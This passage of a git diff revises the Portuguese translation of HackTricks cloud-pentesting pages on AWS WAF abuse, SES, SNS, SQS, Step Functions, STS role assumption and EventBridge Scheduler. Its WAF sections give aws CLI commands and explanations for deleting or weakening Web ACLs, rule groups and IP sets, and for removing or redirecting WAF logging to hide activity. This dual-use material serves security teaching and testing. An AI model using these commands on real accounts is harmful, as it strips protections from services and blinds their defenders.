-Uma Política de Permissão é uma política IAM que especifica quem pode realizar ações nos recursos do AWS WAF. Ao definir permissões, você pode controlar o acesso aos recursos do WAF e garantir que apenas usuários autorizados possam criar, atualizar ou excluir configurações.
+Uma Política de Permissão é uma política IAM que especifica quem pode realizar ações em recursos do AWS WAF. Ao definir permissões, você pode controlar o acesso aos recursos do WAF e garantir que apenas usuários autorizados possam criar, atualizar ou excluir configurações.
 
 #### Escopo
 
 O parâmetro de escopo no AWS WAF especifica se as regras e configurações do WAF se aplicam a uma aplicação regional ou a uma distribuição Amazon CloudFront.
 
-- **REGIONAL**: Aplica-se a serviços regionais, como Balanceadores de Carga de Aplicação (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, pool de usuários do Amazon Cognito, serviço AWS App Runner e instância AWS Verified Access. Você especifica a região AWS onde esses recursos estão localizados.
+- **REGIONAL**: Aplica-se a serviços regionais, como Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service e instância AWS Verified Access. Você especifica a região AWS onde esses recursos estão localizados.
 - **CLOUDFRONT**: Aplica-se a distribuições Amazon CloudFront, que são globais. As configurações do WAF para CloudFront são gerenciadas através da região `us-east-1`, independentemente de onde o conteúdo é servido.
 
 ### Recursos principais
 
 #### Critérios de Monitoramento (Condições)
 
-**Condições** especificam os elementos das solicitações HTTP/HTTPS de entrada que o AWS WAF monitora, que incluem XSS, localização geográfica (GEO), endereços IP, restrições de tamanho, injeção de SQL e padrões (strings e correspondência regex). É importante notar que **solicitações restritas no nível do CloudFront com base no país não chegarão ao WAF**.
+**Condições** especificam os elementos das solicitações HTTP/HTTPS de entrada que o AWS WAF monitora, que incluem XSS, localização geográfica (GEO), endereços IP, restrições de tamanho, injeção SQL e padrões (correspondência de strings e regex). É importante notar que **solicitações restritas no nível do CloudFront com base no país não chegarão ao WAF**.
 
 Cada conta AWS pode configurar:
 
@@ -77,12 +77,12 @@ Cada conta AWS pode configurar:
 
 Ações são atribuídas a cada regra, com as opções sendo:
 
-- **Permitir**: A solicitação é encaminhada para a distribuição CloudFront ou Balanceador de Carga de Aplicação apropriado.
-- **Bloquear**: A solicitação é encerrada imediatamente.
-- **Contar**: Conta as solicitações que atendem às condições da regra. Isso é útil para teste de regras, confirmando a precisão da regra antes de defini-la como Permitir ou Bloquear.
-- **CAPTCHA e Desafio:** É verificado se a solicitação não vem de um bot usando quebra-cabeças CAPTCHA e desafios silenciosos.
+- **Allow**: A solicitação é encaminhada para a distribuição CloudFront ou Balanceador de Carga de Aplicação apropriado.
+- **Block**: A solicitação é encerrada imediatamente.
+- **Count**: Conta as solicitações que atendem às condições da regra. Isso é útil para teste de regras, confirmando a precisão da regra antes de defini-la como Allow ou Block.
+- **CAPTCHA e Challenge:** É verificado se a solicitação não vem de um bot usando quebra-cabeças CAPTCHA e desafios silenciosos.
 
-Se uma solicitação não corresponder a nenhuma regra dentro da Web ACL, ela passa pela **ação padrão** (Permitir ou Bloquear). A ordem de execução das regras, definida dentro de uma Web ACL, é crucial e geralmente segue esta sequência:
+Se uma solicitação não corresponder a nenhuma regra dentro da Web ACL, ela passa pela **ação padrão** (Allow ou Block). A ordem de execução das regras, definida dentro de uma Web ACL, é crucial e normalmente segue esta sequência:
 
 1. Permitir IPs na lista branca.
 2. Bloquear IPs na lista negra.
@@ -192,14 +192,14 @@ aws wafv2 get-mobile-sdk-release --platform <value> --release-version <value>
 >
 > No entanto, um atacante também poderia estar interessado em interromper este serviço para que os sites não sejam protegidos pelo WAF.
 
-Em muitas das operações de Delete e Update, seria necessário fornecer o **lock token**. Este token é usado para controle de concorrência sobre os recursos, garantindo que as alterações não sejam acidentalmente sobrescritas por múltiplos usuários ou processos tentando atualizar o mesmo recurso simultaneamente. Para obter este token, você poderia realizar as operações correspondentes de **list** ou **get** sobre o recurso específico.
+Em muitas das operações de Delete e Update, seria necessário fornecer o **token de bloqueio**. Este token é usado para controle de concorrência sobre os recursos, garantindo que as alterações não sejam acidentalmente sobrescritas por múltiplos usuários ou processos tentando atualizar o mesmo recurso simultaneamente. Para obter este token, você poderia realizar as operações correspondentes de **list** ou **get** sobre o recurso específico.
 
 #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`**
 
 Um atacante seria capaz de comprometer a segurança do recurso afetado ao:
 
 - Criar grupos de regras que poderiam, por exemplo, bloquear tráfego legítimo de endereços IP legítimos, causando uma negação de serviço.
-- Atualizar grupos de regras, podendo modificar suas ações, por exemplo, de **Block** para **Allow**.
+- Atualizar grupos de regras, sendo capaz de modificar suas ações, por exemplo, de **Block** para **Allow**.
 - Deletar grupos de regras que fornecem medidas de segurança críticas.
 ```bash
 # Create Rule Group
@@ -241,13 +241,13 @@ O arquivo **rule.json** teria a seguinte aparência:
 
 #### **`wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`**
 
-Com essas permissões, um atacante poderia:
+Com essas permissões, um atacante seria capaz de:
 
 - Criar um novo Web ACL, introduzindo regras que permitem o tráfego malicioso ou bloqueiam o tráfego legítimo, tornando efetivamente o WAF inútil ou causando uma negação de serviço.
-- Atualizar Web ACLs existentes, podendo modificar regras para permitir ataques como injeção SQL ou script entre sites, que anteriormente estavam bloqueados, ou interromper o fluxo normal de tráfego bloqueando solicitações válidas.
-- Deletar um Web ACL, deixando os recursos afetados totalmente desprotegidos, expondo-os a uma ampla gama de ataques na web.
+- Atualizar Web ACLs existentes, podendo modificar regras para permitir ataques como injeção SQL ou scripting entre sites, que anteriormente foram bloqueados, ou interromper o fluxo normal de tráfego bloqueando solicitações válidas.
+- Deletar um Web ACL, deixando os recursos afetados completamente desprotegidos, expondo-os a uma ampla gama de ataques na web.
 
-> [!NOTE]
+> [!NOTA]
 > Você só pode deletar o **WebACL** especificado se **ManagedByFirewallManager** for falso.
 ```bash
 # Create Web ACL
@@ -259,7 +259,7 @@ aws wafv2 update-web-acl --name <value> --id <value> --default-action <value> --
 # Delete Web ACL
 aws wafv2 delete-web-acl --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
 ```
-Os seguintes exemplos mostram como atualizar um Web ACL para bloquear o tráfego legítimo de um conjunto de IPs específico. Se o IP de origem não corresponder a nenhum desses IPs, a ação padrão também seria bloqueá-lo, causando um DoS.
+Os seguintes exemplos mostram como atualizar um Web ACL para bloquear o tráfego legítimo de um conjunto específico de IPs. Se o IP de origem não corresponder a nenhum desses IPs, a ação padrão também seria bloqueá-lo, causando um DoS.
 
 **Web ACL Original**:
 ```json
@@ -333,7 +333,7 @@ O arquivo **rule.json** teria a seguinte aparência:
 
 #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`**
 
-A permissão **`wafv2:AssociateWebACL`** permitiria que um atacante associasse ACLs da web (Listas de Controle de Acesso) com recursos, conseguindo contornar controles de segurança, permitindo que tráfego não autorizado chegasse à aplicação, potencialmente levando a explorações como injeção SQL ou script entre sites (XSS). Por outro lado, com a permissão **`wafv2:DisassociateWebACL`**, o atacante poderia desativar temporariamente as proteções de segurança, expondo os recursos a vulnerabilidades sem detecção.
+A permissão **`wafv2:AssociateWebACL`** permitiria que um atacante associasse ACLs da web (Listas de Controle de Acesso) com recursos, podendo contornar controles de segurança, permitindo que tráfego não autorizado chegasse à aplicação, potencialmente levando a explorações como injeção SQL ou script entre sites (XSS). Por outro lado, com a permissão **`wafv2:DisassociateWebACL`**, o atacante poderia desativar temporariamente as proteções de segurança, expondo os recursos a vulnerabilidades sem detecção.
 
 As permissões adicionais seriam necessárias dependendo do tipo de recurso protegido:
 
@@ -357,7 +357,7 @@ aws wafv2 associate-web-acl --web-acl-arn <value> --resource-arn <value>
 # Disassociate
 aws wafv2 disassociate-web-acl --resource-arn <value>
 ```
-**Impacto Potencial**: Segurança de recursos comprometida, aumento do risco de exploração e potenciais interrupções de serviço dentro de ambientes AWS protegidos pelo AWS WAF.
+**Impacto Potencial**: Comprometimento da segurança dos recursos, aumento do risco de exploração e potenciais interrupções de serviço dentro de ambientes AWS protegidos pelo AWS WAF.
 
 #### **`wafv2:CreateIPSet` , `wafv2:UpdateIPSet`, `wafv2:DeleteIPSet`**
 
@@ -370,18 +370,18 @@ aws wafv2 update-ip-set --name <value> --id <value> --addresses <value> --lock-t
 # Delete IP set
 aws wafv2 delete-ip-set --name <value> --id <value> --lock-token <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
 ```
-O seguinte exemplo mostra como **substituir o conjunto de IP existente pelo conjunto de IP desejado**:
+O exemplo a seguir mostra como **substituir o conjunto de IP existente pelo conjunto de IP desejado**:
 ```bash
 aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1
 ```
 **Impacto Potencial**: Acesso não autorizado e bloqueio de tráfego legítimo.
 
-#### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**
+#### **`wafv2:CreateRegexPatternSet`**, **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`**
 
 Um atacante com essas permissões seria capaz de manipular os conjuntos de padrões de expressão regular usados pelo AWS WAF para controlar e filtrar o tráfego de entrada com base em padrões específicos.
 
 - Criar novos padrões regex ajudaria um atacante a permitir conteúdo prejudicial
-- Atualizando os padrões existentes, um atacante conseguiria contornar as regras de segurança
+- Atualizando os padrões existentes, um atacante conseguiria contornar regras de segurança
 - Deletar padrões que são projetados para bloquear atividades maliciosas poderia levar um atacante a enviar cargas úteis maliciosas e contornar as medidas de segurança.
 ```bash
 # Create regex pattern set
@@ -397,9 +397,9 @@ aws wafv2 delete-regex-pattern-set --name <value> --scope <REGIONAL --region=<va
 
 Um atacante com a **`wafv2:DeleteLoggingConfiguration`** seria capaz de remover a configuração de registro do Web ACL especificado. Subsequentemente, com as permissões **`wavf2:PutLoggingConfiguration`** e **`iam:CreateServiceLinkedRole`**, um atacante poderia criar ou substituir configurações de registro (após tê-las deletado) para impedir completamente o registro ou redirecionar logs para destinos não autorizados, como buckets do Amazon S3, grupo de logs do Amazon CloudWatch Logs ou um Amazon Kinesis Data Firehose sob controle.
 
-Durante o processo de criação, o serviço configura automaticamente as permissões necessárias para permitir que os logs sejam gravados no destino de registro especificado:
+Durante o processo de criação, o serviço configura automaticamente as permissões necessárias para permitir que os logs sejam escritos no destino de registro especificado:
 
-- **Amazon CloudWatch Logs:** O AWS WAF cria uma política de recurso no grupo de logs do CloudWatch Logs designado. Esta política garante que o AWS WAF tenha as permissões necessárias para gravar logs no grupo de logs.
+- **Amazon CloudWatch Logs:** O AWS WAF cria uma política de recurso no grupo de logs do CloudWatch Logs designado. Esta política garante que o AWS WAF tenha as permissões necessárias para escrever logs no grupo de logs.
 - **Bucket do Amazon S3:** O AWS WAF cria uma política de bucket no bucket S3 designado. Esta política concede ao AWS WAF as permissões necessárias para fazer upload de logs no bucket especificado.
 - **Amazon Kinesis Data Firehose:** O AWS WAF cria um papel vinculado ao serviço especificamente para interagir com o Kinesis Data Firehose. Este papel permite que o AWS WAF entregue logs ao stream do Firehose configurado.
 
@@ -411,11 +411,11 @@ aws wafv2 put-logging-configuration --logging-configuration <value>
 # Delete logging configuration
 aws wafv2 delete-logging-configuration --resource-arn <value> [--log-scope <CUSTOMER | SECURITY_LAKE>] [--log-type <value>]
 ```
-**Impacto Potencial:** Visibilidade obscura em eventos de segurança, dificultando o processo de resposta a incidentes e facilitando atividades maliciosas encobertas em ambientes protegidos pelo AWS WAF.
+**Impacto Potencial:** Obscure a visibilidade em eventos de segurança, dificulta o processo de resposta a incidentes e facilita atividades maliciosas encobertas dentro de ambientes protegidos pelo AWS WAF.
 
 #### **`wafv2:DeleteAPIKey`**
 
-Um atacante com essas permissões seria capaz de deletar chaves de API existentes, tornando o CAPTCHA ineficaz e interrompendo a funcionalidade que depende dele, como envios de formulários e controles de acesso. Dependendo da implementação desse CAPTCHA, isso poderia levar a uma bypass de CAPTCHA ou a um DoS se o gerenciamento de erros não estiver configurado corretamente no recurso.
+Um atacante com essas permissões seria capaz de deletar chaves de API existentes, tornando o CAPTCHA ineficaz e interrompendo a funcionalidade que depende dele, como envios de formulários e controles de acesso. Dependendo da implementação deste CAPTCHA, isso poderia levar a uma bypass de CAPTCHA ou a um DoS se o gerenciamento de erros não estiver configurado corretamente no recurso.
 ```bash
 # Delete API key
 aws wafv2 delete-api-key --api-key <value> --scope <REGIONAL --region=<value> | CLOUDFRONT --region=us-east-1>
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md
index 9f593b71d..00c6f8db8 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md
@@ -4,13 +4,13 @@
 
 ## Informações Básicas
 
-O Amazon Simple Email Service (Amazon SES) é projetado para **enviar e receber e-mails**. Ele permite que os usuários enviem e-mails transacionais, de marketing ou de notificação de forma eficiente e segura em grande escala. Ele **integra-se bem com outros serviços da AWS**, proporcionando uma solução robusta para gerenciar comunicações por e-mail para empresas de todos os tamanhos.
+Amazon Simple Email Service (Amazon SES) é projetado para **enviar e receber e-mails**. Ele permite que os usuários enviem e-mails transacionais, de marketing ou de notificação de forma eficiente e segura em grande escala. Ele **integra-se bem com outros serviços da AWS**, proporcionando uma solução robusta para gerenciar comunicações por e-mail para empresas de todos os tamanhos.
 
 Você precisa registrar **identidades**, que podem ser domínios ou endereços de e-mail que poderão interagir com o SES (por exemplo, enviar e receber e-mails).
 
 ### Usuário SMTP
 
-É possível conectar-se a um **servidor SMTP da AWS para realizar ações** em vez de usar a API da AWS (ou além dela). Para isso, você precisa criar um usuário com uma política como:
+É possível conectar-se a um **servidor SMTP da AWS para realizar ações** em vez de usar a API da AWS (ou além disso). Para isso, você precisa criar um usuário com uma política como:
 ```json
 {
 "Version": "2012-10-17",
@@ -23,7 +23,7 @@ Você precisa registrar **identidades**, que podem ser domínios ou endereços d
 ]
 }
 ```
-Então, colete a **chave da API e o segredo** do usuário e execute:
+Em seguida, colete a **chave da API e o segredo** do usuário e execute:
 ```bash
 git clone https://github.com/lisenet/ses-smtp-converter.git
 cd ./ses-smtp-converter
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
index c9e41d965..d018db183 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md
@@ -4,14 +4,14 @@
 
 ## SNS
 
-O Amazon Simple Notification Service (Amazon SNS) é descrito como um **serviço de mensagens totalmente gerenciado**. Ele suporta tanto **comunicações de aplicação para aplicação** (A2A) quanto **comunicações de aplicação para pessoa** (A2P).
+O Amazon Simple Notification Service (Amazon SNS) é descrito como um **serviço de mensagens totalmente gerenciado**. Ele suporta tanto **comunicação de aplicação para aplicação** (A2A) quanto **comunicação de aplicação para pessoa** (A2P).
 
-As principais características para comunicação A2A incluem **mecanismos de publicação/inscrição (pub/sub)**. Esses mecanismos introduzem **tópicos**, cruciais para permitir mensagens **baseadas em push**, de muitos para muitos, com alta taxa de transferência. Este recurso é altamente vantajoso em cenários que envolvem sistemas distribuídos, microsserviços e arquiteturas serverless orientadas a eventos. Ao aproveitar esses tópicos, sistemas publicadores podem distribuir mensagens de forma eficiente para uma **ampla gama de sistemas assinantes**, facilitando um padrão de mensagens de fanout.
+As principais características para comunicação A2A incluem **mecanismos de publicação/inscrição (pub/sub)**. Esses mecanismos introduzem **tópicos**, cruciais para permitir mensagens **baseadas em push**, de **muitos para muitos** e de alto desempenho. Esse recurso é altamente vantajoso em cenários que envolvem sistemas distribuídos, microsserviços e arquiteturas serverless orientadas a eventos. Ao aproveitar esses tópicos, sistemas publicadores podem distribuir mensagens de forma eficiente para uma **ampla gama de sistemas assinantes**, facilitando um padrão de mensagens de fanout.
 
 ### **Diferença com SQS**
 
 **SQS** é um serviço **baseado em fila** que permite comunicação ponto a ponto, garantindo que as mensagens sejam processadas por um **único consumidor**. Ele oferece **entrega de pelo menos uma vez**, suporta filas padrão e FIFO, e permite retenção de mensagens para tentativas e processamento atrasado.\
-Por outro lado, **SNS** é um serviço **baseado em publicação/inscrição**, permitindo comunicação **de um para muitos** ao transmitir mensagens para **múltiplos assinantes** simultaneamente. Ele suporta **vários pontos de inscrição, como e-mail, SMS, funções Lambda e HTTP/HTTPS**, e fornece mecanismos de filtragem para entrega de mensagens direcionadas.\
+Por outro lado, **SNS** é um serviço **baseado em publicação/inscrição**, permitindo comunicação **de um para muitos** ao transmitir mensagens para **múltiplos assinantes** simultaneamente. Ele suporta **vários endpoints de assinatura, como email, SMS, funções Lambda e HTTP/HTTPS**, e fornece mecanismos de filtragem para entrega de mensagens direcionadas.\
 Enquanto ambos os serviços permitem desacoplamento entre componentes em sistemas distribuídos, o SQS foca na comunicação em fila, e o SNS enfatiza padrões de comunicação orientados a eventos e de fan-out.
 
 ### **Enumeração**
@@ -42,7 +42,7 @@ aws sns subscribe --region <region>\
 --topic-arn <arn>
 ```
 > [!CAUTION]
-> Note que se o **tópico for do tipo FIFO**, apenas assinantes usando o protocolo **SQS** podem ser usados (HTTP ou HTTPS não podem ser usados).
+> Note que se o **tópico for do tipo FIFO**, apenas assinantes usando o protocolo **SQS** podem ser utilizados (HTTP ou HTTPS não podem ser usados).
 >
 > Além disso, mesmo que o `--topic-arn` contenha a região, certifique-se de especificar a região correta em **`--region`** ou você receberá um erro que parece indicar que você não tem acesso, mas o problema é a região.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md
index dc2fd262a..de975f821 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md
@@ -4,7 +4,7 @@
 
 ## SQS
 
-O Amazon Simple Queue Service (SQS) é apresentado como um **serviço de enfileiramento de mensagens totalmente gerenciado**. Sua função principal é ajudar na escalabilidade e desacoplamento de microsserviços, sistemas distribuídos e aplicações sem servidor. O serviço é projetado para eliminar a necessidade de gerenciar e operar middleware orientado a mensagens, que pode ser frequentemente complexo e intensivo em recursos. Essa eliminação da complexidade permite que os desenvolvedores direcionem seus esforços para aspectos mais inovadores e diferenciadores de seu trabalho.
+O Amazon Simple Queue Service (SQS) é apresentado como um **serviço de enfileiramento de mensagens totalmente gerenciado**. Sua função principal é ajudar na escalabilidade e desacoplamento de microsserviços, sistemas distribuídos e aplicações sem servidor. O serviço é projetado para eliminar a necessidade de gerenciar e operar middleware orientado a mensagens, que muitas vezes pode ser complexo e intensivo em recursos. Essa eliminação da complexidade permite que os desenvolvedores direcionem seus esforços para aspectos mais inovadores e diferenciadores de seu trabalho.
 
 ### Enumeration
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md
index c8257be75..9808e3564 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md
@@ -1,10 +1,10 @@
-# AWS - Step Functions Enum
+# AWS - Enumeração de Step Functions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Step Functions
 
-AWS Step Functions é um serviço de fluxo de trabalho que permite coordenar e orquestrar vários serviços da AWS em fluxos de trabalho sem servidor. Ao usar o AWS Step Functions, você pode projetar e executar fluxos de trabalho que conectam vários serviços da AWS, como AWS Lambda, Amazon S3, Amazon DynamoDB e muitos mais, em uma sequência de etapas. Este serviço de orquestração fornece uma interface visual de fluxo de trabalho e oferece capacidades de **máquina de estados**, permitindo que você defina cada etapa do fluxo de trabalho de maneira declarativa usando a **Linguagem de Estados da Amazon** (ASL) baseada em JSON.
+AWS Step Functions é um serviço de fluxo de trabalho que permite coordenar e orquestrar vários serviços da AWS em fluxos de trabalho sem servidor. Usando o AWS Step Functions, você pode projetar e executar fluxos de trabalho que conectam vários serviços da AWS, como AWS Lambda, Amazon S3, Amazon DynamoDB e muitos mais, em uma sequência de etapas. Este serviço de orquestração fornece uma interface visual de fluxo de trabalho e oferece capacidades de **máquina de estados**, permitindo que você defina cada etapa do fluxo de trabalho de maneira declarativa usando a **Linguagem de Estados da Amazon** (ASL) baseada em JSON.
 
 ## Conceitos-chave
 
@@ -17,11 +17,11 @@ AWS Step Functions oferece dois tipos de **fluxos de trabalho de máquina de est
 
 ### Estados
 
-Os estados são as unidades essenciais das máquinas de estados. Eles definem as etapas individuais dentro de um fluxo de trabalho, podendo realizar uma variedade de funções dependendo de seu tipo:
+Os estados são as unidades essenciais das máquinas de estados. Eles definem as etapas individuais dentro de um fluxo de trabalho, podendo realizar uma variedade de funções dependendo do seu tipo:
 
 - **Tarefa:** Executa um trabalho, muitas vezes usando um serviço da AWS como Lambda.
 - **Escolha:** Toma decisões com base na entrada.
-- **Falha/Sucesso:** Encerra a execução com uma falha ou sucesso.
+- **Falha/Sucesso:** Termina a execução com uma falha ou sucesso.
 - **Passar:** Passa a entrada para a saída ou injeta dados.
 - **Esperar:** Atraso na execução por um tempo definido.
 - **Paralelo:** Inicia ramificações paralelas.
@@ -84,7 +84,7 @@ Um **`Succeed`** estado interrompe a execução com sucesso. É tipicamente usad
 ```
 {{#endtab }}
 
-{{#tab name="Exemplo de sucesso" }}
+{{#tab name="Exemplo de Sucesso" }}
 ```json
 "SuccessState": {
 "Type": "Succeed"
@@ -234,7 +234,7 @@ Um **Map** state permite a execução de um conjunto de etapas para cada item em
 
 ### Versões e aliases
 
-O Step Functions também permite gerenciar implantações de fluxo de trabalho através de **versões** e **aliases** de máquinas de estado. Uma versão representa uma captura instantânea de uma máquina de estado que pode ser executada. Aliases servem como ponteiros para até duas versões de uma máquina de estado.
+O Step Functions também permite gerenciar implantações de fluxo de trabalho por meio de **versões** e **aliases** de máquinas de estado. Uma versão representa uma captura instantânea de uma máquina de estado que pode ser executada. Aliases servem como ponteiros para até duas versões de uma máquina de estado.
 
 - **Versões**: Essas capturas instantâneas imutáveis de uma máquina de estado são criadas a partir da revisão mais recente dessa máquina de estado. Cada versão é identificada por um ARN exclusivo que combina o ARN da máquina de estado com o número da versão, separado por dois pontos (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versões não podem ser editadas, mas você pode atualizar a máquina de estado e publicar uma nova versão, ou usar a versão desejada da máquina de estado.
 - **Aliases**: Esses ponteiros podem referenciar até duas versões da mesma máquina de estado. Múltiplos aliases podem ser criados para uma única máquina de estado, cada um identificado por um ARN exclusivo construído combinando o ARN da máquina de estado com o nome do alias, separado por dois pontos (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases permitem o roteamento de tráfego entre uma das duas versões de uma máquina de estado. Alternativamente, um alias pode apontar para uma única versão específica da máquina de estado, mas não para outros aliases. Eles podem ser atualizados para redirecionar para uma versão diferente da máquina de estado conforme necessário, facilitando implantações controladas e gerenciamento de fluxo de trabalho.
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
index 584a04083..5a81e38e6 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
@@ -4,19 +4,19 @@
 
 ## STS
 
-**AWS Security Token Service (STS)** é projetado principalmente para emitir **credenciais temporárias e de privilégio limitado**. Essas credenciais podem ser solicitadas para **AWS Identity and Access Management (IAM)** usuários ou para usuários autenticados (usuários federados).
+**AWS Security Token Service (STS)** é projetado principalmente para emitir **credenciais temporárias e de privilégio limitado**. Essas credenciais podem ser solicitadas para usuários do **AWS Identity and Access Management (IAM)** ou para usuários autenticados (usuários federados).
 
-Dado que o propósito do STS é **emitir credenciais para impersonação de identidade**, o serviço é imensamente valioso para **escalonamento de privilégios e manutenção de persistência**, mesmo que possa não ter uma ampla gama de opções.
+Dado que o propósito do STS é **emitir credenciais para impessoalização de identidade**, o serviço é imensamente valioso para **escalonamento de privilégios e manutenção de persistência**, mesmo que possa não ter uma ampla gama de opções.
 
-### Impersonação de Função
+### Impessoalização de Função
 
-A ação [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) fornecida pelo AWS STS é crucial, pois permite que um principal adquira credenciais para outro principal, essencialmente o impersonando. Ao ser invocada, ela responde com um ID de chave de acesso, uma chave secreta e um token de sessão correspondente ao ARN especificado.
+A ação [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) fornecida pelo AWS STS é crucial, pois permite que um principal adquira credenciais para outro principal, essencialmente impessoalizando-o. Ao ser invocada, ela responde com um ID de chave de acesso, uma chave secreta e um token de sessão correspondente ao ARN especificado.
 
-Para Testadores de Penetração ou membros da Equipe Vermelha, essa técnica é instrumental para escalonamento de privilégios (como detalhado [**aqui**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). No entanto, vale a pena notar que essa técnica é bastante conspícua e pode não pegar um atacante de surpresa.
+Para Testadores de Penetração ou membros da Red Team, essa técnica é instrumental para escalonamento de privilégios (como detalhado [**aqui**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). No entanto, vale a pena notar que essa técnica é bastante conspícua e pode não pegar um atacante de surpresa.
 
 #### Lógica de Assumir Função
 
-Para assumir uma função na mesma conta, se a **função a ser assumida estiver permitindo especificamente um ARN de função** como em:
+Para assumir uma função na mesma conta, se a **função a ser assumida permitir especificamente um ARN de função** como em:
 ```json
 {
 "Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
index 748d98d7b..e1fb5dc22 100644
--- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
@@ -6,9 +6,9 @@
 
 ## EventBridge Scheduler
 
-**Amazon EventBridge Scheduler** é um **agendador totalmente gerenciado e sem servidor projetado para criar, executar e gerenciar tarefas** em grande escala. Ele permite que você agende milhões de tarefas em mais de 270 serviços AWS e mais de 6.000 operações de API, tudo a partir de um serviço central. Com confiabilidade embutida e sem infraestrutura para gerenciar, o EventBridge Scheduler simplifica o agendamento, reduz os custos de manutenção e escala automaticamente para atender à demanda. Você pode configurar expressões cron ou de taxa para agendamentos recorrentes, definir invocações únicas e definir janelas de entrega flexíveis com opções de reintento, garantindo que as tarefas sejam entregues de forma confiável com base na disponibilidade dos alvos downstream.
+**Amazon EventBridge Scheduler** é um agendador totalmente gerenciado e **sem servidor, projetado para criar, executar e gerenciar tarefas** em grande escala. Ele permite que você agende milhões de tarefas em mais de 270 serviços AWS e mais de 6.000 operações de API, tudo a partir de um serviço central. Com confiabilidade embutida e sem infraestrutura para gerenciar, o EventBridge Scheduler simplifica o agendamento, reduz os custos de manutenção e escala automaticamente para atender à demanda. Você pode configurar expressões cron ou de taxa para agendamentos recorrentes, definir invocações únicas e definir janelas de entrega flexíveis com opções de reexecução, garantindo que as tarefas sejam entregues de forma confiável com base na disponibilidade dos alvos downstream.
 
-Há um limite inicial de 1.000.000 de agendamentos por região por conta. Até a página oficial de cotas sugere: "É recomendável excluir agendamentos únicos uma vez que tenham sido concluídos."&#x20;
+Há um limite inicial de 1.000.000 de agendamentos por região por conta. Até mesmo a página oficial de cotas sugere: "É recomendável excluir agendamentos únicos uma vez que tenham sido concluídos."&#x20;
 
 ### Tipos de Agendamentos
 
@@ -20,14 +20,14 @@ Tipos de Agendamentos no EventBridge Scheduler:
 
 Dois Mecanismos para Lidar com Eventos Falhados:
 
-1. **Política de Reintento** – Define o número de tentativas de reintento para um evento falhado e quanto tempo mantê-lo não processado antes de considerá-lo uma falha.
-2. **Fila de Mensagens Mortas (DLQ)** – Uma fila padrão do Amazon SQS onde eventos falhados são entregues após as tentativas de reintento serem esgotadas. DLQs ajudam na solução de problemas com seu agendamento ou seu alvo downstream.
+1. **Política de Reexecução** – Define o número de tentativas de reexecução para um evento falhado e quanto tempo mantê-lo não processado antes de considerá-lo uma falha.
+2. **Fila de Mensagens Mortas (DLQ)** – Uma fila padrão do Amazon SQS onde eventos falhados são entregues após as tentativas de reexecução serem esgotadas. DLQs ajudam na solução de problemas com seu agendamento ou seu alvo downstream.
 
 ### Alvos
 
-Existem 2 tipos de alvos para um agendador [**modelados (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), que são comumente usados e a AWS facilitou sua configuração, e [**universais (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), que podem ser usados para chamar qualquer API AWS.
+Existem 2 tipos de alvos para um agendador [**templatizados (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), que são comumente usados e a AWS facilitou sua configuração, e [**universais (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), que podem ser usados para chamar qualquer API AWS.
 
-**Alvos modelados** suportam os seguintes serviços:
+**Alvos templatizados** suportam os seguintes serviços:
 
